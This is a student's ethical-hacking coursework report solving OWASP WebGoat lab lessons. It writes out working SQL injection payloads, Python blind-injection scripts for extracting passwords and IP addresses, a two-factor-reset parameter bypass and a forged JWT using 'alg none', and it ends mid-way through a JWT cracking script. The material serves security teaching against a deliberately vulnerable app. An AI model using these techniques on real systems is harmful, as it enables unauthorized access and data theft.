WebGoat Report

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 60

SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Name(s):

SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI


AM2107009557

Lecturer Lab group / Tutorial group / Tutor (if


applicable)
MOHD AKMAL BIN MOHD AZMER

Course and Course Code Submission Date:

NWC4123 ETHICAL HACKING WEEK 8

Assignment No. / Title Extension & Late submission:


Allowed / Disallowed
ASSIGNMENT: OWASP
Yes
Assignment type: % of Assignment Mark Returning Date:

INDIVIDUAL

Penalties:

1. 10% of the original mark will be deducted for every one-week period after the submission
date
2. No work will be accepted after two weeks of the deadline
3. If you were unable to submit the coursework on time due to extenuating circumstances,
you may be eligible for an extension
4. Extension will not exceed one week

Declaration: I/we the undersigned confirm that I/we have read and agree to abide by these
regulations on plagiarism and cheating. I/we confirm that this piece of work is my/our own.
I/we consent to appropriate storage of our work for checking to ensure that there is no
plagiarism/ academic cheating.

Signature(s):

Full Name: SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI

1|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Table of Contents
The introduction to WebGoat...............................................................................................................3
What is WebGoat?.............................................................................................................................3
How WebGoat would help security analyst?.....................................................................................3
Analysis on other similar application with WebGoat.........................................................................4
The installation process of WebGoat.....................................................................................................7
Task Execution.....................................................................................................................................18
SQL Injection....................................................................................................................................18
SQL Injection Introduction...........................................................................................................18
SQL Injection Advanced...............................................................................................................26
SQL Injection Mitigation..............................................................................................................30
Broken Authentication.................................................................................................................35
2FA Password Reset..................................................................................................................35
JWT signing.................................................................................................................................37
JWT cracking...............................................................................................................................39
Sensitive Data Exposure...............................................................................................................41
XML External Entities (XXE)..........................................................................................................42
Modern REST framework..........................................................................................................43
Blind XXE assignment...............................................................................................................44
Broken Access Control.................................................................................................................46
Cross Site Scripting......................................................................................................................54
What is XSS?...............................................................................................................................54
Reflected XSS..............................................................................................................................55
Identify potential for DOM-Based XSS...................................................................................56
DOM-Based XSS.........................................................................................................................57
CONCLUSION.......................................................................................................................................59
REFERENCES........................................................................................................................................60

2|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

The introduction to WebGoat.


What is WebGoat?
WebGoat is intentionally insecure web application maintained by OWASP designed to teach
web application security lessons. You can install and practice with WebGoat. In each lesson,
users must demonstrate their understanding of a security issue by exploiting a real
vulnerability in the WebGoat applications. For example, in one of the lessons the user must
use SQL injection to steal fake credit card numbers. The application aims to provide a
realistic teaching environment, providing users with hints and code to further explain the
lesson.

How WebGoat would help security analyst?


WebGoat is an interesting tool. It is a complete, java-based environment for exploring web
application vulnerabilities, attack techniques and best-practice mitigations. It runs in
Windows, Linux, and Mac OS X. It can simply download, install, and execute it to get a nice
self-guided tour through the world of application security. They can explore ideas, learn the
attack techniques, and even use it to teach themselves or others about application security.

The lessons are hands-on, interactive, and based on real-world examples. It is all covered
from basic HTTP attacks to SQL injections. The lessons include some basic overview
information and explanations of the techniques. The system then presents the user with the
ability to try these techniques and to experiment in a safe environment. No production
system downtime, no lab systems to rebuild, no nasty going to jail for breaking the law.

3|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Analysis on other similar application with WebGoat


 OWASP DVWA

Damn Vulnerable Web Application (DVWA) is another popular vulnerable web application
developed in PHP. Since this is developed in PHP, beginners usually find it easy to follow.
Each vulnerability contains various difficult levels from Low to High, so it is possible to learn
web security at varying difficulty levels. PHP source code snippets are provided in each
challenge and thus, it is possible to find the flaws by reviewing the source code.

DVWA is also available as a Docker image, and we can quickly spin up a container and play
with DVWA.

The following image shows DVWA UI after launching it.

4|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

 XVWA

Xtreme Vulnerable Web Application (XVWA) is a badly coded web application written in
PHP/MySQL to help security enthusiasts learn application security. The XVWA application is
ideal if you want an easy-to-use application with some modern-day attacks covered. Some
not-so-traditional vulnerabilities such as server-side template injection and server-side
request forgery are covered in this application.

The authors of XVWA did not create a Docker image, but it was made available by someone
else and featured on the official GitHub page of XVWA.

The following figure shows XVWA UI after launching it.

5|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

 bWAPP

Buggy Web Application (bWAPP) is another free and open-source vulnerable web
application. bWAPP comes with a comprehensive list of vulnerabilities with great coverage.

There are several vulnerabilities covered in bWAPP that are not covered in any other
vulnerable web application, such as Heartbleed and Shellshock. However, we need to
download the virtual machine to avail ourselves of some of these rarely seen vulnerabilities.
The reason for this is that these vulnerabilities require additional configurations on the server
where the web application is installed.

The virtual machine, bee-box, already contains these configurations and thus these
vulnerabilities are ready to use. The bottom line is, we can get the best of bWAPP if we use
the bee-box VM. There is also a Docker image made available, which can be used to quickly
spin up the web application.

The following image shows bWAPP UI after launching it.

6|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

The installation process of WebGoat

a. The hardware requirement for WebGoat


 Oracle Virtual Machine VirtualBox Manager
 Kali Linux amd64
 Java 17

b. Compatibility with your machine and the WebGoat


For Kali Linux, the default Java is Java 11. If we run command (java -jar webgoat-server-
8.2.2.jar), the machine will have the problem with class version of the Java Runtime. To
install WebGoat, I need to install Java 17 to run the WebGoat using this command (sudo apt
install openjdk-17-jdk).
c. Method of installation (Kali Linux)
For the installation of the WebGoat, I am using Kali Linux in Oracle VM Virtual Box.

7|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

d. Demonstrate the installation process of WebGoat on your machine.


Step 1: Open Kali Linux using Oracle VM VirtualBox.

Step 2: Open the browser and search OWASP WebGoat (https://owasp.org/www-project-


webgoat/) and click on Standalone jars.

8|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 3: Download the latest version of WebGoat (Version 8.2.2)

Step 4: After downloaded, right click the file, and click Open Terminal Here

9|Ethical Hacking
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 5: When the terminal is open, use $ls command to make sure that you in the correct
file.

Step 6: Use $java -jar webgoat-server-8.2.2.jar command to run the WebGoat. But there is a
problem which is the class version. The latest WebGoat are using Java 15 and above. So,
we need to update the latest java to execute the WebGoat.

10 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 7: Check the java version using $java -version command

Based on the figure above, Kali Linux are using Java 11. So, we need to update to latest
Java, which is Java 17.

Step 8: Use command $sudo apt update to downloads and installs the updates for each
outdated package and dependency on the system.

11 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 9: Install Java 17 using $sudo apt install openjdk-17-jdk command

Step 10: After the installation, use $java -version command to check the version.

Based on the figure above, Kali Linux already using Java 17

12 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 11: After update the java, retry the $java -jar webgoat-server-8.2.2.jar command to run
the WebGoat.

Based on figure above, The WebGoat was successfully execute in Kali Linux.

13 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 12: Open localhost:8080/WebGoat on browser

14 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

e. Explanation on difficulties and troubleshooting process that you have encountered.

In this task, I am using Kali Linux to demonstrate the installation process for WebGoat.
There is one problem during the installation process which is class version of Java are not
supported. The WebGoat are using the latest class of Java which is Java 17.

There are some steps how to troubleshoot the problem.

Step 1: Check the java version using $java -version command

Based on the figure above, Kali Linux are using Java 11. So, we need to update to latest
Java, which is Java 17.

Step 2: Use command $sudo apt update to downloads and installs the updates for each
outdated package and dependency on the system.

15 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 3: Install Java 17 using $sudo apt install openjdk-17-jdk command

Step 4: After the installation, use $java -version command to make sure the version of Java
is the latest.

Based on the figure above, Kali Linux already using Java 17

16 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Step 5: After update the java, use $java -jar webgoat-server-8.2.2.jar command to run the
WebGoat.

Based on figure above, The WebGoat was successfully execute in Kali Linux.

17 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Task Execution

SQL Injection

SQL Injection Introduction

SQL is a standardized (ANSI in 1986, ISO in 1987) programming language which is


used for managing relational databases and performing various operations on the
data in them. A database is a collection of data. The data is organized into rows,
columns, and tables, and indexed to make finding relevant information more efficient.
Task 2: Look at the example table. Try to retrieve the department of the employee called
Bob Franco.

There are given a picture of the Employees table from the SQL database and have full
admin privileges.
Here is the query used for this task.

As the table is visible (from that image) it is easy to craft a short query. I used the
“userid” instead of first_name and last_name because it was easier to type and surely
unique.

18 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Task 3: Data Manipulation Language (DML)


As implied by the name, data manipulation language deals with the manipulation of data.
Many of the most common SQL statements, including SELECT, INSERT, UPDATE, and
DELETE, may be categorized as DML statements. DML statements may be used for
requesting records (SELECT), adding records (INSERT), deleting records (DELETE),
and modifying existing records (UPDATE).

If an attacker succeeds in "injecting" DML statements into a SQL database, he can


violate the confidentiality (using SELECT statements), integrity (using UPDATE
statements), and availability (using DELETE or UPDATE statements) of a system.

 DML commands are used for storing, retrieving, modifying, and deleting data.
 SELECT - retrieve data from a database
 INSERT - insert data into a database
 UPDATE - updates existing data within a database
 DELETE - delete records from a database

Now we need to update the Department of Tobi. Once again it is preferred to use the
primary key (in this case userid) as we want to be sure it is the right Tobi Barnett.

We UPDATE the table employees and specify that we set the value of the department to be
sales. The where is important here as we only want to update the value for Tobi. Without
specifying the user, we would make everyone in that table part of sales.

19 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Task 4: Data Definition Language (DDL)


Data definition language includes commands for defining data structures. DDL
commands are commonly used to define a database’s schema. The schema refers to
the overall structure or organization of the database and. in SQL databases, includes
objects such as tables, indexes, views, relationships, triggers, and more.

If an attacker successfully "injects" DDL type SQL commands into a database, he can
violate the integrity (using ALTER and DROP statements) and availability (using DROP
statements) of a system.

DDL commands are used for creating, modifying, and dropping the structure of database
objects.

 CREATE - create database objects such as tables and views


 ALTER - alters the structure of the existing database
 DROP - delete objects from the database

This time we need to add column “phone” that is type varchar(20) to employees. Varchar as
we know is a text field and, in this case, it can fit 20 characters. This one I was surprised
that I remembered on the first try with the description on the task page:

Once again simple explanation of the query: We want to alter the table called employees by
adding a column called “phone” that is type varchar(20).

20 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Task 5: Data Control Language (DCL)


Data control language is used to implement access control logic in a database. DCL can be
used to revoke and grant user privileges on database objects such as tables, views, and
functions.

If an attacker successfully "injects" DCL type SQL commands into a database, he can violate
the confidentiality (using GRANT commands) and availability (using REVOKE commands) of
a system. For example, the attacker could grant himself admin privileges on the database or
revoke the privileges of the true administrator.

 DCL commands are used to implement access control on database objects.


 GRANT - give a user access privileges on database objects.
 REVOKE - withdraw user privileges that were previously given using GRANT

Try to grant the user group called “UnauthorizedUser” the right to alter tables:

Task 9: String SQL Injection

Here we make the query to look for anyone with the first name John and ‘’ (empty field) as
last name or 1=1. Where clause is seeking for the truth and in this case 1=1 is always true,
so we get the same result as a query without the where clause at all.

21 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Task 10: Numeric SQL Injection


Using the two Input Fields below, try to retrieve all the data from the table called users.
Warning: Only one of these fields is susceptible to SQL Injection. You need to find out which,
to successfully retrieve all the data.

We know only one of the fields is susceptible and we can see a snippet of the code:

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " +
User_ID;

Looking at the code following should work:

As we can see it does not work and we even get an error that tells us where we went wrong
(image below).

Now we know it was our input to Login_count that is not susceptible (our input was turned
into a question mark) as the hint suggested. Now let us give that field a value it most likely
wants and this being field for login count let us use number 1 (I assume it is an integer
column and one should be a reasonable number. Any integer would do if it fit into the

variable column size for login_count).

22 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

For the User_Id we use “1 or 1=1;”.

Task 11: Compromising confidentiality with String SQL injection


If a system is vulnerable to SQL injections, aspects of that system’s CIA triad can be easily
compromised (if you are unfamiliar with the CIA triad, check out the CIA triad lesson in the
general category). In the following three lessons you will learn how to compromise each
aspect of the CIA triad using techniques like SQL string injections or query chaining.

In this lesson we will look at confidentiality. Confidentiality can be easily compromised by an


attacker using SQL injection; for example, successful SQL injection can allow the attacker to
read sensitive data like credit card numbers from a database.

What is String SQL injection?

If an application builds SQL queries simply by concatenating user supplied strings to the
query, the application is likely very susceptible to String SQL injection.

More specifically, if a user supplied string simply gets concatenated to a SQL query without
any sanitization or preparation, then you may be able to modify the query’s behaviour by
simply inserting quotation marks into an input field. For example, you could end the string
parameter with quotation marks and input your own SQL after that.

We are user John Smith and our TAN is 3SL99A. We want to see all data from the table
employees.

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" +
auth_tan + "'";

We once again even get the code used.

Looking at the code following should work.

23 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

And it surely did. Here the “–” was important as it makes the rest of the query commented
out. The only reason I put TAN in was in the case that it was a mandatory field.

Task 12: Compromising Integrity with Query chaining


After compromising the confidentiality of data in the previous lesson, this time we are going
to compromise the integrity of data by using SQL query chaining.

If a severe enough vulnerability exists, SQL injection may be used to compromise the
integrity of any data in the database. Successful SQL injection may allow an attacker to
change information that he should not even be able to access.

What is SQL query chaining?

Query chaining is exactly what it sounds like. With query chaining, you try to append one or
more queries to the end of the actual query. You can do this by using the ; metacharacter.
A ; marks the end of a SQL statement; it allows one to start another query right after the
initial query without the need to even start a new line.

The task is identical to the previous one but this time we want to give our self a raise.

This field is not large enough, so the input was: asd'; UPDATE employees SET salary =
'999999' where userid='37648'--

We finished the previous query with a semicolon and then put in our query to update our
salary. Finally, we commented out anything that would have been put after our malicious
query.

24 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Task 13: Compromising Availability


After successfully compromising confidentiality and integrity in the previous lessons, we are
now going to compromise the third element of the CIA triad: availability.

There are many ways to violate availability. If an account is deleted or its password gets
changed, the actual owner cannot access this account anymore. Attackers could also try to
delete parts of the database, or even drop the whole database, to make the data
inaccessible. Revoking the access rights of admins or other users is yet another way to
compromise availability; this would prevent these users from accessing either specific parts
of the database or even the entire database.

Once again let us end the previous query with ‘; and continue with our own in this case we
want to drop a table named access_log (the name was given to us in the assignment). As
usual, we want the program to ignore anything that would follow our query, so we end it with

— to comment all that out.

25 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

SQL Injection Advanced

SQL Injection Advanced (3)

The input field below is used to get data from a user by their last name. The table is
called 'user_data':

CREATE TABLE user_data (userid int not null,


first_name varchar(20),
last_name varchar(20),
cc_number varchar(30),
cc_type varchar(10),
cookie varchar(20),
login_count int);

Through experimentation you found that this field is susceptible to SQL injection.
Now you want to use that knowledge to get the contents of another table. The table
you want to pull data from is:

CREATE TABLE user_system_data (userid int not null primary


key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));

6.a) Retrieve all data from the table


6.b) When you have figured it out…. What is Dave’s password?

Note: There are multiple ways to solve this Assignment. One is by using a UNION,
the other by appending a new SQl statement. Maybe you can find both.

Solution

 Remember that when using an UNION each SELECT statement within


UNION must have the same number of columns.
 The data type of a column in the first SELECT statement must have a similar
data type to that in the second SELECT statement.
 Your new SQL query must end with a comment. eg: --
 If a column needs a String you could substitute something like 'a String' for it.
For integers you could substitute a 1.

 Name: '; SELECT * FROM user_system_data;-- or ' UNION SELECT 1,


user_name, password, cookie, 'A', 'B', 1 from user_system_data;--
 Password: passW0rD

26 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

SQL Injection Advanced (5)

We now explained the basic steps involved in an SQL injection. In this assignment
you will need to combine all the things we explained in the SQL lessons.

Goal: Can you login as Tom?


Have fun!

Solution

 Look at the different response you receive from the server


 The vulnerability is on the register form
 The vulnerable field is the username field of the register form.
 Use tooling to automate this attack
 The table name is randomized at each start of WebGoat, try to figure out the
name first.
 Change the password through an UPDATE Statement.

As specified in the hints, it is possible to change the password using an UPDATE. It is


also possible to find the original password as we will see in the proposed solution.

 The Login form does not appear to provide any useful outputs from a variety
of inputs, but the Register form allows us to check whether a username
already exists.
 If we try to register with the following username: tom' AND '1'='1 we find that the
username is taken.
 We can use this as an oracle and check what Tom's password is one at a
time.
 Fortunately, the table we are seeking is named password (guessing), so we can
attempt to register with the following username: tom' AND
substring(password,1,1)='t
 The response states the username already exists; we know that t is the first
character of Tom's password.
 By fuzzing for the remaining characters, we can determine that Tom's
password is thisisasecretfortomonly.
27 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

This challenge can be a good exercise to practice scripting. Below, a small example
of Python code to find the answer:

import json
import requests
def sql_injection_advance_5():
alphabet_index = 0
alphabet = 'abcdefghijklmnopqrstuvwxyz'
password_index = 0
password = ''
headers = {
'Cookie': COOKIE,
}
while True:
payload = 'tom\' AND substring(password,
{},1)=\'{}'.format(password_index + 1,
alphabet[alphabet_index])
data = {
'username_reg': payload,
'email_reg': 'a@a',
'password_reg': 'a',
'confirm_password_reg': 'a'
}
r =
requests.put('http://HOST:PORT/WebGoat/SqlInjectionAdvanced/ch
allenge', headers=headers, data=data)
try:
response = json.loads(r.text)
except:
print("Wrong JSESSIONID, find it by looking at your requests
once logged in.")
return
if "already exists please try to register with a different
username" not in response['feedback']:
alphabet_index += 1
if alphabet_index > len(alphabet) - 1:
return
else:
password += alphabet[alphabet_index]
print(password)
alphabet_index = 0
password_index += 1
sql_injection_advance_5()

28 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

SQL Injection Advanced (6)

 What is the difference between a prepared statement and a statement?

Option 4: A statement has got values instead of a prepared statement

 Which one of the following characters is a placeholder for variables?

Option 3: ?

 How can prepared statements be faster than statements?

Option 2: Prepared statements are compiled once by the database


management system waiting for input and are pre-compiled this way.

 How can a prepared statement prevent SQL-Injection?

Option 3: Placeholders can prevent that the users input gets attached to the
SQL query resulting in a separation of code and data.

 What happens if a person with malicious intent writes into a register


form :Robert); DROP TABLE Students;-- that has a prepared statement?

Option 4: The database registers 'Robert' ); DROP TABLE Students;--'.

29 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

SQL Injection Mitigation

Immutable Queries
These are the best defence against SQL injection. They either do not have data that
could get interpreted or they treat the data as a single entity that is bound to a
column without interpretation.
Static Queries

SELECT * FROM products;


SELECT * FROM users WHERE user = "'" +
session.getAttribute("UserID") + "'";
Parameterized Queries

String query = "SELECT * FROM users WHERE last_name = ?";


PreparedStatement statement =
connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

Stored Procedures
Only if stored procedure does not generate dynamic SQL

30 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

SQL Injection Mitigation(5)

You can see some code down below, but the code is incomplete. Complete the
code, so that is no longer vulnerable for an SQL injection! Use the classes and
methods you have learned before.

The code must retrieve the status of the user based on the name and the mail
address of the user. Both the name and the mail are in the string format.

Solution

 First establish a connection, after that you can create a statement.


 SqlStringInjectionHint-mitigation-10a-10a2

The fields must contain the following words to validate the lesson:

getConnection, PreparedStatement, prepareStatement, ?, ?,


setString, setString.

31 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

SQL Injection Mitigation(6)


Now it is time to write your own code! Your task is to use JDBC to connect to a
database and request data from it.
Requirements:

 connect to a database
 perform a query on the database which is immune to SQL injection attacks
 your query needs to contain at least one string parameter

Some tips before you start: For connecting to the database, you can simply
assume the constants DBURL, DBUSER and DBPW as given. The content of your
query does not matter if the SQL is valid and meets the requirements. All the code
you write gets inserted into the main method of a java class with the name
"TestClass" that already imports java.sql.* for you. Not creative enough to think of
your own query? How about you try to retrieve the data for a user with a specific
name from a fictional database table called users.

For example, following coding would compile without any error (but of course does
not meet the requirements to complete this lesson).

try {
Connection conn = null;
System.out.println(conn); //should output 'null'
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}

Solution

 A database connection must be surrounded by a try-catch block to handle the


very common case of an error while establishing the connection.
 Remember to use the right kind of statement, so your code is no longer
vulnerable for SQL injections.
 The wildcard symbol '?' in a prepared statement can be filled with the right
kind of method. There exists one for every data type.
 Make sure to execute your statement.
 View the previous lesson to check back on how you can build set up a
connection.
Complete the window with:

try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER,
DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT * FROM
users WHERE name = ?");
ps.setString(1, "Admin");
ps.executeUpdate();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!"); }

32 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

SQL Injection Mitigation(10)


Try to find the ip address of the webgoat-prd server, guessing the complete ip
address might take too long so we give you the last part: xxx.130.219.202
Note: The submit field of this assignment is NOT vulnerable for an SQL injection.

Solution

⚠ Buggy lesson with the last version, a call to


http://localhost:8080/WebGoat/SqlInjection/servers sends back an error.
 Try sorting and look at the request
 Intercept the request and try to specify a different order by
 Use for example "(case when (true) then hostname else id end)" in the order
by and see what happens

 Click on column sort performs a request to


http://localhost:8080/WebGoat/SqlInjection/servers?column=ip. This can be
exploited by intercepting the request with Browser Tools and providing
prepared string as column value.
 To get the idea about webgoat-prd IP address we first must find out the table
name and ip column name. The obvious guess is servers and ip:
column=(CASE WHEN (SELECT ip FROM servers WHERE
hostname='webgoat-acc') = '192.168.3.3' THEN id ELSE
hostname END)
 If that is the correct table and column name, the table will get sorted by ids.
 So, after intercepting and changing the request we get the table sorted by ids,
the guess was correct.
 Just to check our logic, lets send request with column=(CASE WHEN
(SELECT ip FROM whatever WHERE hostname='webgoat-acc') =
'192.168.3.3' THEN id ELSE hostname END)
 It gets an error page; we have everything to script the attack now.

33 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

import json
import requests
def sql_injection_mitigation_10():
index = 0
headers = {
'Cookie': 'JSESSIONID=id'
}
while True:
payload = '(CASE WHEN (SELECT ip FROM servers WHERE
hostname=\'webgoat-prd\') LIKE \'{}.%\' THEN id ELSE hostname
END)'.format(index)
r =
requests.get('http://host:port/WebGoat/SqlInjection/servers?
column=' + payload, headers=headers)
try:
response = json.loads(r.text)
except:
print("Wrong JSESSIONID, find it by looking at your requests
once logged in.")
return
if response[0]['id'] == '1':
print('webgoat-prd IP: {}.130.219.202'.format(index))
return
else:
index += 1
if index > 255:
print("No IP found")
return
sql_injection_mitigation_10()

34 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Broken Authentication

Authentication Bypasses (2)


2FA Password Reset

A recent (2016) example (https://henryhoggard.co.uk/blog/Paypal-2FA-Bypass) is a


great example of authentication bypass. He was unable to receive an SMS with a
code, so he opted for the provided alternative method, which involved security
questions. Using a proxy, removed the parameters entirely and won.

The Scenario

You are resetting your password but doing it from a location or device that your
provider does not recognize. So, you need to answer the security questions you set
up. The other issue is that those security questions are also stored on another
device (not with you) and you don’t remember them.
You have already provided your username/email and opted for the alternative
verification method.

Solution

 The attack on this is like the story referenced, but not the same.
 You do want to tamper the security question parameters, but not delete them
 The logic to verify the account does expect 2 security questions to be
answered, but there is a flaw in the implementation
 Have you tried renaming the secQuestion0 and secQuestion1 parameters?

35 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

 Open the Development Tools in the browser, and go to the Network tab.
 Click on Submit without parameters.
 Locate the query to verify-account in the Network tab and click on Edit and
Resend.
 Modify the parameters
secQuestion0=&secQuestion1=&jsEnabled=1&verifyMethod=SEC_
QUESTIONS&userId=yourid to
secQuestion2=&secQuestion3=&jsEnabled=1&verifyMethod=SEC_
QUESTIONS&userId=yourid.

36 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

JWT Tokens (4)


JWT signing

Each JWT token should at least be signed before sending it to a client, if a token is
not signed the client application would be able to change the contents of the token.
The signing specifications are defined here the specific algorithms you can use are
described here It basically comes down you use "HMAC with SHA-2 Functions" or
"Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function for
signing the token.

Checking the signature

One important step is to verify the signature before performing any other action,
let’s try to see some things you need to be aware of before validating the token.
Assignment
Try to change the token you receive and become an admin user by changing the
token and once you are admin reset the votes

37 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

Solution
⚠ Lesson used to not turn green on validation but is confirmed to do so in version
M26.
 Select a different user and look at the token you receive back, use the delete
button to reset the votes count
 Decode the token and look at the contents
 Change the contents of the token and replace the cookie before sending the
request for getting the votes
 Change the admin field to true in the token
 Submit the token by changing the algorithm to None and remove the
signature

 Open the Development Tools in the browser, and go to the Network tab.
 Log in as Tom on WebGoat and click on Reset Votes.
 Locate the query to reset in the Network tab and click on Headers.
 Notice the header:

Cookie:
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NjQ0MDIyNDQsImFk
bWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0._gPSRvB9wAAruFwaDgivXp4n5r
HQFi5hTOJsVFqCkR9ZDUf3LhCgJQuTIIpTGnZIS3XWL9MHZGaExJC7XhIiXA

 In base64, this is decoded as: {"alg":"HS512"}.


{"Iat":1564402244,"admin":"false","user":"Tom"}.signature
.
 Edit it to {"alg": null}.
{"Iat":1564402244,"admin":"true","user":"Tom"}...
 Re-encode it to base64
(eyJhbGciOiBudWxsfQ.eyJpYXQiOjE1NjQ0MDIyNDQsImFkbWluIjoidH
J1ZSIsInVzZXIiOiJUb20ifQ.). (Pure base64 encoding might give
paddings with '==' which will mess up the jwt library used in WebGoat, this is
cleaned up)
 Click on Modify and Resend, modify the cookie with the newly generated
value and send again the request.

38 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

JWT Tokens (5)


JWT cracking

With the HMAC with SHA-2 Functions you use a secret key to sign and verify the
token. Once we figure out this key, we can create a new token and sign it. So, it is
very important the key is strong enough, so a brute force or dictionary attack is not
feasible. Once you have a token you can start an offline brute force or dictionary
attack.
Assignment

Given we have the following token try to find out secret key and submit a new key
with the username changed to WebGoat.
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQi
OiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU5MDczNTQ3NiwiZXhwIjoxNTkwNzM1NTM2
LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9t
QHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzd
HJhdG9yIl19.28VXP4trt_uDrKM7Dn10ZotOhYoOhJy3dL-xu5boKzc

Solution

 Save the token and try to verify the token locally


 Download a word list dictionary (https://github.com/first20hours/google-10000-
english)
 Write a small program or use HashCat for brute forcing the token according to
the word list

It is possible to validate this challenge with tools like johntheripper and


https://jwt.io/, but to get a better understanding of the whole process, here a Python
script.

 Isolate the signature and reformat it correctly.


 Use each word of the dictionary as a key, calculate the HMAC of the initial
message, convert it to base64, and compare it with the signature.
 If there is a match, the dictionary word is the key used (value found : victory).
 Then calculate the new signature with the modified message

39 | E t h i c a l H a c k i n g
SAIFDINIE IFWAT BIN MUHAMMAD ZAIDI AM2107009557

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIi
LCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vc
mciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6I
nRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYX
RvciJdfQ.dImA6LEwQc1-ZqVPWWGE01u1jO2a-yfx8lZetbDqiTc
import base64

import hashlib

import hmac

def jwt_tokens_5():

token =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZ
XIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmci
